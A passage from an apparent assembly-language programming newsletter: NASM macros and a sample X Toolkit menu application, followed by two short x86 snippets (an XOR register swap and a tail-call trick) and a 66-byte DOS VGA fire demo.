%ifndef menu_entry_ptr
EXTERN smeBSBObjectClass
EXTERN XtCreateManagedWidget
EXTERN XtAddCallback
[section .data]
MenuEntry:
.ptr dd 0
_callback_type db "callback",0
[section .text]
%define menu_entry_ptr
%endif
push dword 0
push dword 0
push dword [%1.ptr]
push dword [smeBSBObjectClass]
push dword %2
call XtCreateManagedWidget
mov [MenuEntry.ptr], eax
add esp, 20
push dword %3
push dword %4
push dword _callback_type
push dword [MenuEntry.ptr]
call XtAddCallback
add esp, 16
%endmacro
;==============================================================================
Note that the pointer to the Menu Item Entry widget is needed only to install
the callback, and can then be discarded.
I have also included a separator menu item to break up the menus a bit; this
is simply a menu item of class smeLineObject which does nothing; as such, the
AddMenuSeparator macro requires only the pointer to the parent Menu as a
parameter:
;=======================================================================-xt.inc
%macro AddMenuSeparator 1
;------Usage: AddMenuSeparator MenuWidget
%ifndef _szseperator
EXTERN smeLineObjectClass
EXTERN XtCreateManagedWidget
[section .data]
_szSep db "line",0
[section .text]
%define _szseperator
%endif
push dword 0
push dword 0
push dword [%1.ptr]
push dword [smeLineObjectClass]
push dword _szSep
call XtCreateManagedWidget
mov [MenuEntry.ptr], eax
add esp, 20
%endmacro
;==============================================================================
Why so many macros? To ease the tedium. The Xt code presented below was many
pages longer before I converted the menu creation routines --which run 10 to
20 lines apiece-- into macros. Also, looking at the sample application, you
will see that all of the "generic" Xt code has been compressed to a few lines,
leaving the bulk of the "real code" in the callback routine and in the
resource definitions.
I have chosen to use a single callback for all of the menu items; this is the
most simple and perhaps the most efficient method. Each menu entry has a
unique integer ID which is passed to the callback as data when the menu item
is selected; the callback compares its incoming ClientData variable with each
of the menu entry IDs until it finds a match, whereupon it jumps to a specific
subroutine for each different ID. In short, a typical message handler --
though I refrained from my notorious call-table and SWITCH/CASE macros in this
case for the sake of clarity.
The structure of the Widget declarations in this file could also bear some
discussion. I have chosen to treat all widgets declared in the application
[*not* references to the external widget classes reference by the app, but
rather the pointers to those classes] as primitive structures of the following
form:
WidgetInstance:
.ptr dd 0
.name db 'name',0
This makes things easier, for the widget pointer can now be referred to as
[WidgetInstance.ptr], and the widget name can be referred to as
WidgetInstance.name. Notice that all widget pointers must be referenced in
brackets; the typical C use of a pointer is to pass the address contained in
the pointer, not the address of the pointer itself [unless the pointer is
dereferenced by a "&", in which case the brackets should not be used in the
assembly language equivalent].
The menu widgets have a similar, but more advanced syntax:
MenuName:
.ptr
.name
.button
.Entryname
.EntrynameID
This allows the pointer for each menu button to be stored along with the rest
of the menu data, and also allows menu entries to be referenced as "members"
of the menu "structure", e.g. MenuName.Entryname would be the text of the menu
item, and MenuName.EntrynameID would be the integer ID for the menu item.
Now for the actual implementation:
;===================================================================-xtmenu.asm
BITS 32
EXTERN exit
EXTERN printf
%include "Xt.inc"
;==========================================================================DATA
[section .data]
;______________Widgets__________________________
Shell:
.ptr dd 0
.name db "shell",0
MenuBar:
.ptr dd 0
.name db "menubar",0
;_______________Menus___________________________
FileMenu:
.ptr dd 0
.name db "File",0
.button dd 0
.New db "New",0
.NewID dd "101"
.Open db "Open",0
.OpenID dd "102"
.Save db "Save",0
.SaveID dd "103"
.Close db "Close",0
.CloseID dd 104
.Exit db "Exit",0
.ExitID dd 105
HelpMenu:
.ptr dd 0
.name db "Help",0
.button dd 0
.About db "About",0
.AboutID dd 201
;____Classes____________________________________
XtMenu: db "XtMenu",0
;____Misc_______________________________________
ARGC: times 128 db 0
szOutString db "%s selected",0ah,0dh,0
AppContext dd 0
;==========================================================================CODE
[section .text]
CALLBACK CBMenuSelect
mov ebx, ClientData
mov eax, [ebx]
cmp eax, dword [FileMenu.NewID]
je MenuNew
cmp eax, dword [FileMenu.OpenID]
je MenuOpen
cmp eax, dword [FileMenu.SaveID]
je MenuSave
cmp eax, dword [FileMenu.CloseID]
je MenuClose
cmp eax, dword [FileMenu.ExitID]
je MenuExit
cmp eax, dword [HelpMenu.AboutID]
je MenuAbout
jmp unhandled
MenuNew:
push dword FileMenu.New
jmp do_printf
MenuOpen:
push dword FileMenu.Open
jmp do_printf
MenuSave:
push dword FileMenu.Save
jmp do_printf
MenuClose:
push dword FileMenu.Close
jmp do_printf
MenuAbout:
push dword HelpMenu.About
do_printf:
push dword szOutString
call printf
add esp, 8
unhandled:
CALLBACK_RETURN
MenuExit:
mov esp, ebp
pop ebp
push dword 0
call exit
ret
;____________________________________________________________PROGRAM_ENTRYPOINT
GLOBAL main
main:
InitXtApp Shell.ptr, AppContext, XtMenu, ARGC, 0
;-------Make Menu
CreateMenuBar Shell.ptr, MenuBar.name, MenuBar.ptr
AddMenu MenuBar.ptr, FileMenu.name,FileMenu.button, FileMenu.ptr
AddMenu MenuBar.ptr, HelpMenu.name,HelpMenu.button, HelpMenu.ptr
;-------Build File Menu
AddMenuItem FileMenu, FileMenu.New, FileMenu.NewID, CBMenuSelect
AddMenuItem FileMenu, FileMenu.Open, FileMenu.OpenID, CBMenuSelect
AddMenuItem FileMenu, FileMenu.Save, FileMenu.SaveID, CBMenuSelect
AddMenuItem FileMenu, FileMenu.Close, FileMenu.CloseID, CBMenuSelect
AddMenuSeparator FileMenu
AddMenuItem FileMenu, FileMenu.Exit, FileMenu.ExitID, CBMenuSelect
;-------Build Help Menu
AddMenuItem HelpMenu, HelpMenu.About, HelpMenu.AboutID, CBMenuSelect
;-------Show Top-Level Widget
ShowXtWidget Shell.ptr
;-------Enter Xt Application Loop
XtAppLoop AppContext
;___Compile_Strings_________________________________________
; nasm -f elf xtmenu.asm
; gcc -o xtmenu xtmenu.o -lXaw -lXt -lX11 -L/usr/X11R6/lib
;==========================================================================-EOF
The strings needed to compile and link Xt assembly apps are provided at the
end of the file. Note once again how short the main application code is; the
menu data could easily be moved into an xtmenu.inc file and thereby trim the
"apparent size" of the application down to the initialization code and the
callback.
Further automation could involve creating a "resource editor" which would
produce .INC files compatible with the Xt.inc macros, as well as creating
high-level calls to automatically adjust the stack and high-level structures
to deal with message handling in the callback.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::................................ASSEMBLY.LANGUAGE.SNIPPETS
Triple XOR
by Jan Verhoeven
;Summary: exchange the contents of two registers using
; as few storage locations as possible
;Compatibility: all x86 assemblers
;Notes: Will work for memory locations, etc
xor ax, bx
xor bx, ax
xor ax, bx
Trailing Calls
by Jan Verhoeven
;This is really more of a trick than a snippet. It is quite common to come
;across code such as
cmp ax, [Sector][2]
jne >L0
inc ax
L0: call TestDrive
ret
;This amounts to two ret's, one in the above code and one in the TestDrive
;routine. To save a bit of space and overhead, we can make use of TestDrive's
;ret to return from our own routine:
cmp ax, [Sector][2]
jne >L0
inc ax
L0: jmp TestDrive
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................ISSUE.CHALLENGE
Fire Demo in < 100 bytes
by iCE
[Another preface, I must be getting wordy in my old age. I received this code
from iCE as a potential snippet or challenge; I chose to include it as the
latter, for it put a nice spin on one of the classic asm learning programs:
the VGA fire demo.
I have not pushed iCE for a commentary as the code is rather clear; it produces
a small greyscale fire [roughly a third of the screen in my DOS VMWare box] that
runs until a key is pressed. The key is using the greyscale as a sort of dynamic
palette; this eliminates the need for a costly color palette that is easily 100
bytes itself. Although to be sure, the program now runs the risk of being renamed
"static.asm" ;)
_m ]
; 66 bytes Graphic Fire demo.
; assemble using 'Tasm FIRE.ASM' and 'Tlink /t FIRE.OBJ'
;======================================================================FIRE.ASM
.MODEL TINY
.CODE
.386
ORG 100H
START:
push 0a000h
pop es
push es
pop ds
mov al,13h ; mode 13h. (AX=0)
int 10h
; gray-scale routine
mov dx,3c8h
CBW ; set ax=0
out dx,al
inc dx
gs_loop:
out dx,al
out dx,al
out dx,al
inc ax
jnz short gs_loop
;---
MainLoop:
mov si,1280 ;
mov ch,5dh ; y-pos, the less the faster demo
push si
push cx
Sloop:
lodsb
add al,[si] ; pick color and
add al,[si+320] ; pick one more and
shr al,2 ; divide, we got a
; 'smooth-fire-routine'
mov [si-960],al ; put color
loop short Sloop
pop di
pop cx
Randoml:
mul word ptr [di+1] ; 'random' routine.
inc ax
stosw
loop short Randoml
MOV AH,1 ; check keypress
INT 16h
Jz short MainLoop
;---
Die:
mov ax,3 ; text-mode
int 10h
ret ; A com program may end using ret
END start
;==========================================================================-EOF
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::.......................................................FIN